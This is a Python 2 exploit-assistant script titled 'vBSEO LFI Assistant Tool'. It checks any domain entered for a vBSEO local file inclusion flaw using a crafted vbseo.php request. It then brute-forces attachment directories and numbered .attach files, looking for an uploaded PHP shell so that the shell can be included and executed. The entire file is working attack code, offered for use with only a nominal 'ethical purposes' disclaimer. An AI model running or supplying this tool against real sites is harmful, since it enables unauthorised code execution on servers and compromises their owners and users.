#!/usr/bin/python # ______ __ __ __ __ ______ # /\__ _\ /\ \__ /\ \/\ \ /'__`\/\__ _\ # \/_/\ \/ ___\ \ ,_\ __ _ __\ \ `\\ \/\ \/\ \/_/\ \/ # \ \ \ /' _ `\ \ \/ /'__`\/\`'__\ \ , ` \ \ \ \ \ \ \ \ # \_\ \__/\ \/\ \ \ \_/\ __/\ \ \/ \ \ \`\ \ \ \_\ \ \ \ \ # /\_____\ \_\ \_\ \__\ \____\\ \_\ \ \_\ \_\ \____/ \ \_\ # \/_____/\/_/\/_/\/__/\/____/ \/_/ \/_/\/_/\/___/ \/_/ # -------------------------------------------------------- # Title: vBSEO LFI Assistant Tool # Author: MaXe # Site: http://www.intern0t.net # # Description: 1) Checks whether the vBSEO installation # is patched or not. 2) Attempts to find # the physical location of an uploaded # attachment phile. (PHP Shell) # # Version: 2.2.3 - Multi-Threading! - Basic Version # # License: -- Attribution-ShareAlike 3.0 Unported -- # http://creativecommons.org/licenses/by-sa/3.0/ # # Notes: Please note, that this tool does not work on # all types of hosts and you should therefore # modify this script to your own needs. # Multi-Threading in this tool is very buggy! # # Disclaimer: This tool is meant for ethical purposes only. # Import the appropriate libraries. import os import re import httplib import sys import thread import time # Clear the screen in a sufficient way. if(os.name) == "posix": os.system("clear") elif(os.name) == "nt": os.system("cls") else: print "[!] Cannot clear screen automatically.\n" print "File Finder by MaXe from InterN0T.net\n\n" # Get user-input and define global variables. target = raw_input("Enter a domain to scan: ") file_match = raw_input("Enter a keyword to look for: ") main_dir = ["attach","attachment","attachments","download"] poss_main_dir = [] sub_dir = [] # Strip away http and https from the target variable. striptarget = re.compile('(http://|https://)') newtarget = striptarget.sub('', target) # Perform a simple LFI to check whether the target is vulnerable or not. conn = httplib.HTTPConnection(newtarget, 80) print "[*] Checking if site appears to be vulnerable." conn.request("GET", "/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html") resp = conn.getresponse() # If the response code is 200 OK, check if the file really was included. if resp.status == 200: print "[+] Site is responding, this is good." if re.search("(Enter text...)", resp.read()): print ">> The site appears to be vulnerable!" else: print "[!] The site appears to be patched. (unknown error)" elif resp.status == 404: print "[!] The site appears to be patched. (404)" # Define a multi-threaded function for locating the attachment directory. def findMainDir(target, array): global poss_main_dir conn = httplib.HTTPConnection(target, 80) print "[*] Trying: http://%s/%s/" % (target,array) conn.request("HEAD", "/%s/" % array) resp = conn.getresponse() # If the response code is 403 (Forbidden), set a new variable and continue. if resp.status == 403: print "[+] Directory found: /%s/" % array if poss_main_dir == []: poss_main_dir = ["%s" % array] else: poss_main_dir += ["%s" % array] conn.close() # Define a multi-threaded function to scan for sub directories. def findSubDir(target, array): global sub_dir i = 0 print "[*] Trying subdirs within: http://%s/%s/" % (target,array) while i <= 9: conn = httplib.HTTPConnection(target, 80) conn.request("HEAD", "/%s/%s/" % (array,i)) resp = conn.getresponse() if resp.status == 403: print "[+] Sub Directory found: /%s/%s/" % (array,i) found = "%s/%s" % (array,i) if sub_dir == []: sub_dir = ["%s" % found] else: sub_dir += ["%s" % found] i=i+1 conn.close() # Define a multi-threaded function to find our phile. # Developer Note: This function has a sub-function # (while) which could be multi-threaded # as well to speed up the process. def findPhile(target,array): i = 99 print "[*] Trying to find our file within: /%s/" % array while i >= 0: conn = httplib.HTTPConnection(target, 80) conn.request("HEAD", "/%s/%s.attach" % (array,i)) resp = conn.getresponse() if resp.status == 200: print "[+] File found, does it match our keyword? >> %s" % file_match conn = httplib.HTTPConnection(target, 80) conn.request("GET", "/%s/%s.attach" % (array,i)) resp = conn.getresponse() if re.search("(%s)" % file_match, resp.read()): print ">> File %s.attach contains our keyword!" % i print "Part URL: /%s/%s.attach" % (array,i) print "Full URL: http://" + target + "/%s/%s.attach \n" % (array,i) sys.exit(0) i=i-1 conn.close() # For each value in main_dir (array / list), start a new thread. for value in main_dir[0:]: try: thread.start_new_thread(findMainDir, (newtarget,value)) time.sleep(1) except KeyboardInterrupt: print "Quitting.." sys.exit() except: print "[!] Could not create any threads. Quitting.." sys.exit(1) # Check if any values were assigned to the poss_main_dir array. If not, quit. if poss_main_dir == []: print "[!] No directories were found, quitting." sys.exit() for value in poss_main_dir[0:]: try: thread.start_new_thread(findSubDir, (newtarget,value)) time.sleep(1) except KeyboardInterrupt: print "Quitting.." sys.exit() except: print "[!] Could not create any threads. Quitting.." sys.exit(1) if sub_dir == []: print "[!] No sub directories were found, quitting." sys.exit() for value in sub_dir[0:]: try: thread.start_new_thread(findPhile,(newtarget,value)) time.sleep(1) except KeyboardInterrupt: print "Quitting.." sys.exit() except: print "[!] Could not create any threads. Quitting.." sys.exit(1) try: print "Waiting for threads.." time.sleep(60) except KeyboardInterrupt: print "Quitting.." except: print "[!] Error" # Don't forget, that this script can be used for more than one thing.